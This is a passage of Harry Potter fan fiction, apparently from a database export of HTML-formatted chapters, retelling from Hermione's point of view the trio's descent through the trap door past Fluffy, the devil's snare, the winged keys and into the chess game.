class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Snape had already\nwarned them earlier that he knew what they were up to.&nbsp; He had overheard them talking after Professor\nMcGonagall left.&nbsp; He hadn&#8217;t actually said\nthat he was aware that they knew about his plans to steal the stone but he did\nthreaten to have them expelled if they snuck out after hours again.&nbsp; This meant that if they tried to stop him\nthat night, all he would have to do is tell Dumbledore he caught them out of\nbed and they&#8217;d be kicked out.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&#8220;Miss Granger,&#8221; a harsh voice interrupted her\nthoughts.&nbsp; It was Snape.&nbsp; She hadn&#8217;t even noticed him come out. &#8220;Is\nthere some reason why you&#8217;d rather be strolling outside the staff room than out\nin the courtyard with your miscreant friends?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I uh&#8230;&#8221; Hermione\ntried to think of a viable answer but in the end she used the excuse Ron gave\nher. &#8220;I was waiting for Professor Flitwick.&nbsp;\nI needed to talk to him about our exam.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Snape&#8217;s lips\ncurled into a sinister smile. &#8220;Well then, wait right here and I&#8217;ll fetch him\nfor you.&#8221; He strolled off.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Great,&#8221;</i> Hermione thought in panic. <i style="mso-bidi-font-style:normal">&#8220;I can&#8217;t follow him because he&#8217;ll know\nwhat&#8217;s up and I can&#8217;t let him come back here with Flitwick because then he&#8217;ll\nknow I was lying.&#8221;</i> The truth was Hermione had talked to Flitwick earlier\nthat week and he had told her she&#8217;d gotten 112% on her exam.&nbsp; So there was absolutely no reason she&#8217;d need\nto talk to him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione bounced\nfrom one foot to the other for a few minutes and then decided not to risk\nit.&nbsp; She ran up the stairs and made a bee\nline for Gryffindor Tower. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Oh well, at least Harry and Ron are still\nguarding the third floor entrance,&#8221;</i> she thought as she pushed her way into\nthe Gryffindor common room.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Much to her\nchagrin, Harry and Ron were sitting there, a distraught look on her face.&nbsp; McGonagall had caught them waiting outside\nthe forbidden corridor and had sent them away.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;Hermione joined them near the fireplace and\nexplained what happened with her assignment.&nbsp;\nThey sat in silence for a few minutes, pondering.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well, that&#8217;s it\nthen, isn&#8217;t it?&#8221; Harry said softly. &#8220;I&#8217;m going out of here tonight and I&#8217;m\ngoing to try and get to the stone first.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione looked\nup at him.&nbsp;&nbsp; She could tell by the solemn\nlook in his green eyes that he was completely serious.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Oh Harry,&#8221;</i> she thought. <i style="mso-bidi-font-style:normal">&#8220;This won&#8217;t end well.&#8221;</i></p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione sat\nalone in a corner of the common room, reading &#8220;The Standard Book of Spells:\nGrade 1.&#8221;&nbsp; Exams were over and she was\nstill studying.&nbsp; But the stakes were\nhigher this time.&nbsp; She&#8217;d be putting her\nknowledge to a real test to face whatever challenges awaited her, Harry, and\nRon down the trap door in the forbidden corridor.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Of course she was\ngoing.&nbsp; When she knew that Harry had made\nup his mind, she knew she had to go.&nbsp; She\ndidn&#8217;t want to; she was scared out of her mind, not because of the prospect of\nbeing expelled if they were caught, but of facing Snape and possibly Voldemort.&nbsp; She was worried that all her knowledge would\ndo her no good if she was too scared to remember anything she&#8217;d learned.&nbsp; Classes and exams were one thing, there was\nno pressure there.&nbsp; If on the off chance\nshe got something wrong or was slow to answer, there were no real consequences,\nbut this could be life and death and it wasn&#8217;t just her life she had to worry\nabout.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Find anything\nnew?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione almost\njumped out of her skin. &#8220;Harry, you scared me half to death!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry sat down\nacross from her, &#8220;Not nervous are we?&#8221; How he could manage even a half grin at\na time like this was beyond her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh, a bit,&#8221;\nHermione confessed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Hermione, I&#8217;m\ngrateful you want to help, but you don&#8217;t have to come if you don&#8217;t want\nto.&nbsp; I know you&#8217;re worried about what\nyour parents might do if we really did get expelled.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No,&#8221; Hermione\nsaid stoically. &#8220;You were right about what you said earlier.&nbsp; It won&#8217;t matter if we get expelled or\nnot.&nbsp; Keeping the stone away from &#8216;you\nknow who&#8217; is more important.&nbsp; I want to\nhelp.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well good,\nbecause I don&#8217;t think we could pull it off without you,&#8221; Harry admitted. &#8220;I\nhonestly think we&#8217;ve got a chance against Snape, what with the cleverest witch\nin Hogwarts on our side.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione blushed.\n&#8220;I&#8217;m not the cleverest witch in Hogwarts&#8230; just our year,&#8221; she added with a\ngleam in her eyes.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;And so modest\ntoo,&#8221; Harry said with a slight chuckle.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are you two\nso giddy about?&#8221; Ron said plopping down in a seat nearby, a strained look on\nhis face.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing,&#8221; Harry\nsaid. &#8220;Just imaging what life would be like if the fate of the entire world wasn&#8217;t\nresting on our shoulders.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh,&#8221; Ron sighed,\n&#8220;is that all.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;In a couple of\nhours,&#8221; Harry said quietly, &#8220;our lives are going to change forever.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione resumed\nstudying.&nbsp; Harry and Ron just sat with\nnervous looks on their faces.&nbsp;&nbsp; Time\nticked by slowly.</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">-----</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; The common room\nwas completely deserted now except for Hermione and Ron who were waiting\npatiently in the dark for Harry to return with the invisibility cloak.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Are you\nnervous,&#8221; Ron asked Hermione.&nbsp; It sounded\nlike he wanted to justify his own nervousness.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes,&#8221; Hermione\nanswered immediately.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh,&#8221; Ron said.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well what did\nyou expect?&#8221; Hermione asked him.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;I didn&#8217;t think\nyou got nervous.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Uh Ron, remember\nthe troll?&#8221; Hermione asked with a nervous chuckle.</p>\n\n<p class="MsoNormal" style="mso-outline-level:1">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh\nyeah, but you know so much.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nabout to respond when Harry descended the stairs, cloak in hand.&nbsp; They were about to put it on when a noise\ndistracted them.&nbsp; It was Neville.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are you\ndoing?&#8221; he asked sleepily as he came into view.&nbsp;\nHe was holding his toad, Trevor.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shoved the\ncloak behind his back. &#8220;Nothing, Neville, nothing,&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But Neville had\nalready figured it out.&nbsp; He stared\nangrily at all of them. &#8220;You&#8217;re going out again.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, no, no, no\nwe&#8217;re not.&#8221; Hermione put on a sweet smile as she tried desperately to come up\nwith a plausible excuse, but none came to mind. &#8220;Why don&#8217;t you go to bed\nNeville?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; But Neville\nwouldn&#8217;t budge.&nbsp; He started hissing at\nthem about getting Gryffindor into trouble and in a rare show of bravery\nblocked the entrance to the portrait hole, threatening to fight them.&nbsp; Hermione momentarily put herself into his\nshoes and realized she would have probably done the same thing if she didn&#8217;t\nknow what was going on.&nbsp; She briefly\nrecalled the night that Harry and Ron snuck out to duel with Malfoy and how she\nand Neville got caught in the middle of that outing.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Neville was\nalready ostracized for being an inept wizard and now he was an outcast in his\nown house all because he was trying to help Harry.&nbsp; He felt completely betrayed by him and Hermione\nso there was no way he&#8217;d listen to them now.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry was growing\ninpatient. &#8220;Do something,&#8221; he hissed at her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Since when do I get to do the dirty work,&#8221; </i>Hermione\nthought as she pulled out her wand.&nbsp; She\ncycled through all the spells she could think of and picked out the one that\nshe thought would hurt the least. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Neville, I&#8217;m\nreally <i style="mso-bidi-font-style:normal">really</i> sorry about this.&nbsp; Petrificus Totalus!&#8221;&nbsp; Neville&#8217;s entire body seemed to lock up in an\ninstance and he fell to the floor face first.&nbsp;\nHermione immediately ran forward to turn him over.&nbsp; Fortunately her full body bind curse had made\nhis entire body solid as a rock so he hadn&#8217;t broken anything when he fell\nover.&nbsp; Neville looked scared out of his\nmind but he couldn&#8217;t say or do anything except move his eyes.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; After they\nassured that he was okay, the trio gathered around the portrait and Harry threw\nthe invisibility cloak over them.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Well at least we\nknow Hermione&#8217;s prepared,&#8221; Ron muttered as they stepped out of the portrait\nexit.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione didn&#8217;t\nanswer but her stomach felt like it was tied in knots.&nbsp; Leaving one of her friends completely\npetrified on the common room floor didn&#8217;t make her feel any better about what\nthey were about to do.&nbsp; She only hoped\nshe could keep her wits about her when they came against whatever challenges\nwere beyond the trap door.</p>\n\n\n\n\n\n\n'),
	(240, 17, '\n\n\n\n<p class="MsoNormal"><b style="mso-bidi-font-weight:normal">Chapter Summary:</b>&nbsp; It&#8217;s down the trap door with Hermione and\nfriends.&nbsp; How is she going to cope with\nthe prospect of Harry dying at the hands of the dark lord?</p>\n\n<p class="MsoNormal" style="text-align:center" align="center">--- Begin Fic Here ---</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It had taken them\na surprisingly short amount of time to make it to the forbidden third floor\ncorridor.&nbsp; Their only obstacle was Peeves\nthe Poltergeist but Harry had dealt with him in a clever manner by pretended\nthat they were really the invisible ghost of the Bloody Barron, the only thing\nin the castle, besides Dumbledore, that Peeves really feared.&nbsp; Now they were about to come face to face with\nFluffy.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;If you want to\ngo back, I won&#8217;t blame you.&nbsp; You can take\nthe cloak, I won&#8217;t need it now.&#8221; Harry said to Ron and Hermione as they stood,\nbeneath the invisibility cloak facing the already ajar door to the forbidden\ncorridor.&nbsp; It was obvious Snape had\nalready beaten them there.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t be\nstupid.&#8221; Ron said determinedly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We&#8217;re coming,&#8221;\nHermione agreed.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry nodded and\npushed open the door.&nbsp; Hermione was half\nexpecting the three-headed dog to attack the moment the door opened but when\nthey stepped inside the dark corridor she saw that it was asleep.&nbsp; There was a harp near one of the dog&#8217;s\nmassive paws.&nbsp; This must have been what Snape\nused to play Fluffy to sleep.&nbsp; Obviously\nthough the slumber was not permanent.&nbsp;\nThe moment they stepped inside, Fluffy began to arouse.&nbsp; It suddenly occurred to Hermione that\nalthough they knew how to put Fluffy to sleep, they hadn&#8217;t really talked about\nwhat they would bring to do so.&nbsp; She was\nabout to panic when she saw Harry pull out a makeshift flute.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Talk about prepared,&#8221;</i> she thought as\nHarry began to play.&nbsp; He wasn&#8217;t\nparticularly good, but Fluffy didn&#8217;t seem to be picky.&nbsp; The dog immediately began to doze.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; They slipped out\nof the invisibility cloak and moved towards the trap door as the dog drifted\noff to sleep.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron peered over\nFluffy, &#8220;I think we&#8217;ll be able to pull the door open.&nbsp; Want to go first, Hermione?&#8221; he offered in a\npleading sort of voice.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;No, I don&#8217;t,&#8221;\nHermione answered flatly. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Alright.&#8221; Ron began to creep over the feet of the sleeping\nbeast and finally reached the trap door and pulled it up and open.&nbsp; He stuck his head down.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\ntrying to make her way over to him. &#8220;What do you see?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Nothing; just black.&nbsp;\nThere&#8217;s no way of climbing down, we&#8217;ll just have to drop.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron had a look on\nhis face that said all too clearly that he was going to ask Hermione if she\nwanted to drop down first.&nbsp; She was\ndebating slapping him for even thinking it but then Harry caught their\nattention.&nbsp; He wanted to go first.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; For a split\nsecond Hermione thought, <i style="mso-bidi-font-style:normal">&#8220;Better him than\nme,&#8221;</i> but then she realized that Harry was facing a potentially lethal drop\nand silently chastised herself for not being as brave\nas he was.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry handed\nHermione the flute so she could continue playing Fluffy to sleep.&nbsp; She suddenly realized how difficult playing\nit really was.&nbsp; She watched as Harry\nprepared himself to drop down the hole.&nbsp;\nMore than anything she wanted to wish him luck or tell him something\nencouraging.&nbsp; None of them knew what\nwould happen when he let go and for a fleeting moment she wondered if she&#8217;d\never see him again.&nbsp; But she couldn&#8217;t\nexpress any of this with the flute in her mouth and she had to keep playing or\nFluffy would wake up.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione let out\na shrill note when Harry dropped out of sight.&nbsp;\nRon gave her a funny look but then resumed peering down the hole.&nbsp; They waited for what seemed like an\neternity.&nbsp; Hermione was so nervous that\nher hands were sweating and she could barely hold or play the flute.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He says it&#8217;s okay,&#8221; Ron said with a huge grin.&nbsp; He jumped down the hole without another word.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione stepped\nover the last of Fluffy&#8217;s paws.&nbsp; She pocketed the flute as she stepped up to\nthe edge of the trap door.&nbsp; For a moment,\nshe hesitated not knowing if she wanted to jump into the unknown abyss below,\nbut the low growls of the three-headed dog awakening behind her made Hermione\nmake up her mind very quickly. She jumped and seemed to float slowly down to\nthe chamber bellow.&nbsp; Then suddenly her\nfall was broken by something soft and squishy.&nbsp;\nShe landed right beside Harry.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;We must be miles\nunder the school,&#8221; she said as she looked up at the trap door.&nbsp; Suddenly, she felt something slimly around\nher ankle. <i style="mso-bidi-font-style:normal">&#8220;What in the&#8230;&#8221;</i> She looked\nwildly around and realized they were on a plant, but not just any plant.&nbsp; This plant was silently creeping up their\nbodies, binding them.&nbsp; It had already\nworked its way up Harry and Ron&#8217;s legs without their knowledge and now it was\nstarting on her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Lucky this plant\nthing&#8217;s here really,&#8221; Ron was saying now.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione jumped\nup, kicking at the plant. &#8220;Lucky!&nbsp; Look\nat you both!&#8221;&nbsp; She started running\ntowards the wall.&nbsp; It was a struggle but\nshe was able to break free.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry and Ron\nquickly realized that they were being bound and tried to run as well.&nbsp; Hermione finally got a good look at the plant\nand finally was able to figure out what it was.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Stop moving,&#8221;\nshe ordered. &#8220;I know what this is; it&#8217;s devil&#8217;s snare.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Oh I&#8217;m so glad\nwe know what it&#8217;s called.&nbsp; That&#8217;s a great\nhelp,&#8221; Ron said sarcastically.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione scowled\nat him. &#8220;Shut up, I&#8217;m trying to remember how to kill it.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; It wasn&#8217;t as if\nthis was frustrating enough.&nbsp; She was\ntrying hard to think of how to break them free of the plant but it was as if\nher mind had gone completely blank.&nbsp; It\nwas like she was back in the girl&#8217;s bathroom with the troll advancing on\nher.&nbsp; But this was different.&nbsp; She wasn&#8217;t the one in trouble.&nbsp; It was Harry in trouble now.&nbsp; The devil&#8217;s snare plant was just moments away\nfrom cutting off his oxygen.&nbsp; She had to\ndo something but she couldn&#8217;t.&nbsp; Her brain\njust couldn&#8217;t work.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She realized this\nmust be Sprout&#8217;s obstacle to reaching the stone.&nbsp; She remembered what she told them about it in\nclass one day. &#8220;It likes the dark and the damp.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;So light a\nfire!&#8221; Harry called to her.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Yes of course&#8230;&#8221;\nHermione looked around for something to make a fire with.&nbsp; Her mind was racing.&nbsp; She was running out of time. &#8220;But there&#8217;s not\nwood.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Have you gone\nmad?&nbsp; Are you a witch or not!&#8221; Ron said\nwith his last bit of breath.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione seemed\nto snap out of her stupor.&nbsp; She <i style="mso-bidi-font-style:normal">was</i> a witch, not just any witch, but the\nbest witch in her year.&nbsp; She pulled out\nher wand and performed the spell she&#8217;d used countless times since her very\nfirst day at Hogwarts.&nbsp; A stream of\nbluebell flames flew from her wand.&nbsp; The\ndevil&#8217;s snare loosened and finally Harry and Ron were able to escape.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Lucky you pay\nattention in Herbology, Hermione.&#8221; Harry told her as he wiped sweat from his\nbrow.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gave him\nan &#8220;I&#8217;m sorry I almost got you killed&#8221; look and Harry nodded in an &#8220;it&#8217;s okay,\nyou did your best,&#8221; sort of way.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron wasn&#8217;t as\nforgiving. &#8220;Yeah and lucky Harry doesn&#8217;t lose his head in a crisis.&nbsp; &#8216;There&#8217;s no wood&#8217; honestly,&#8221; he added mockingly.\n<i style="mso-bidi-font-style:normal"></i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione frowned\nand Harry quickly changed the subject, pointing out the route they should take\nnow.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; As they started\ndown the stone corridor Hermione started scolding herself mentally. <i style="mso-bidi-font-style:normal">&#8220;I can&#8217;t believe I froze like that again.&nbsp; How am I supposed to be useful if I can&#8217;t\neven remember simple Herbology in a crisis?&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Suddenly she\nremembered what Harry had told her the night after his first quidditch match. <i style="mso-bidi-font-style:normal">&#8220;You can be the same clever, resourceful\nwitch that you always are, even when the stakes are high.&#8221;</i>&nbsp; Harry trusted her and was depending on\nher.&nbsp; He had told her as much only a few\nhours ago. <i style="mso-bidi-font-style:normal">&#8220;I don&#8217;t think we could pull\nit off without you.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;Okay Hermione,&#8221;</i> she said resolutely to\nherself. <i style="mso-bidi-font-style:normal">&#8220;It&#8217;s time to get over your\nneurosis.&nbsp; You have the knowledge, you have the skills, now you just have to have\nthe courage.&#8221;</i></p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; She rubbed her\nwand, remembering that it contained the core of a sphinx hair.&nbsp; She&#8217;d read all about sphinxes during the\nsummer.&nbsp; They were extremely strong but\nalso terribly intelligent.&nbsp; She had the\nintelligence; she just needed the strength now.&nbsp;\nShe needed to be the sphinx.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; A nearby rustling\ntold them that there was something in the room up ahead.&nbsp; It sounded like wings.&nbsp; The trio entered the large chamber.&nbsp; Hermione looked up and saw the source of the\nnoise they heard.&nbsp; The room was full of\nsmall sparkling birds hovering around near the ceiling.&nbsp; Across the room was another door.&nbsp; They debated about what would happen if they\nattempted to make a run for the door and finally Harry decided to risk it.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione watched\nas he covered his head and speed towards the distant door.&nbsp; Nothing happened; none of the birds attacked\nbut when he reached the door, he found that it was locked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron looked at\nHermione, &#8220;Well it seems safe; let&#8217;s go help him out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione nodded\nand the two ran across the room.&nbsp; The\nbirds still didn&#8217;t attack.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Let me try the\ndoor,&#8221; Hermione said pulling out her wand. &#8220;Alohomora.&#8221; But nothing happened. &#8220;I don&#8217;t\nunderstand.&nbsp; That charm can unlock just\nabout any door.&nbsp; This must be Flitwick&#8217;s doing.&nbsp;\nOnly he could charm-proof a lock.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron banged on the\ndoor. &#8220;Now what?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione was\nstaring at the ceiling. &#8220;These birds; they can&#8217;t be here for decoration.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry took a step\nforward, his eyes fixed on the ceiling. &#8220;They&#8217;re not birds.&nbsp; They&#8217;re keys, winged keys.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;How is it that he wears glasses and still\nhas the best eyesight of all three of us?&#8221;</i> Hermione wondered vaguely.&nbsp; She stared harder and soon saw what Harry\nsaw.&nbsp; It became apparent what they had to\ndo.&nbsp; There were broomsticks on the far\nwall.&nbsp; They had to catch the key, one\namong hundreds, that would unlock the door.&nbsp; They each grabbed a broomstick and soared\ninto the air.&nbsp; Ron and Hermione tried\ntheir best to grab any key that looked likely to open the door.&nbsp; Harry however, had a different tactic.&nbsp; He flew through the keys, hunting, until he\nfound the right one; a large silver key with a bent blue wing as if it had\nalready been grabbed and shoved in the lock.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Ron and Hermione\nhelped him corner the key by coming at it from above and bellow.&nbsp; Then Harry chased it into a wall.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione and Ron\ncheered. <i style="mso-bidi-font-style:normal">&#8220;Well if all of the challenges\nare going to be this easy, we have a chance of making it.&#8221;</i> Hermione thought\nas they ran to the door and unlocked it with the struggling key.&nbsp; Harry opened the door and they stepped into\nthe next chamber.&nbsp; It was completely dark\nand Hermione wondered if something was going to jump out and attack them since\nthey couldn&#8217;t see but as they stepped tentatively forward, light flooded the\nroom to reveal a giant chessboard.&nbsp; They\nwere standing behind 7 foot tall, stone black chessmen.&nbsp; On the other side of the\nroom stood the equally sized stone white chessmen. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Hermione gulped\nwhen they realized that they had to play their way across.&nbsp; The three of them would have to each become\none of the black wizard&#8217;s chessmen and win the game to get through the door on\nthe other side of the room.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <i style="mso-bidi-font-style:normal">&#8220;I hate playing this game.&nbsp; I certainly don&#8217;t want to be in it.&#8221;</i>\nHermione thought as Ron, who was the best chess player of the three, assigned\nher to be the queen side castle.&nbsp; Harry\nwas near her as the queen side bishop.&nbsp;\nRon was the king side knight.&nbsp;\nTheir black statue counterparts retreated from the board.&nbsp; The chessmen didn&#8217;t have faces but if she\ndidn&#8217;t know better, Hermione would have sworn the stone pieces were relieved\nnot to be participating in the match. </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Do you think\nthis is like regular wizard&#8217;s chess,&#8221; she whispered to Harry as Ron started\ndirecting their pieces to counter the white pieces.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Harry shook his head.\n&#8220;I don&#8217;t know.&nbsp; I just hope Ron knows\nwhat he&#8217;s doing.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;For all the\ngrief I give him, Ron really is the best chess player in the house.&nbsp; He&#8217;ll figure this out.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, move\ndiagonally four squares to the right.&#8221; Ron called.&nbsp; Harry obediently stepped forward, 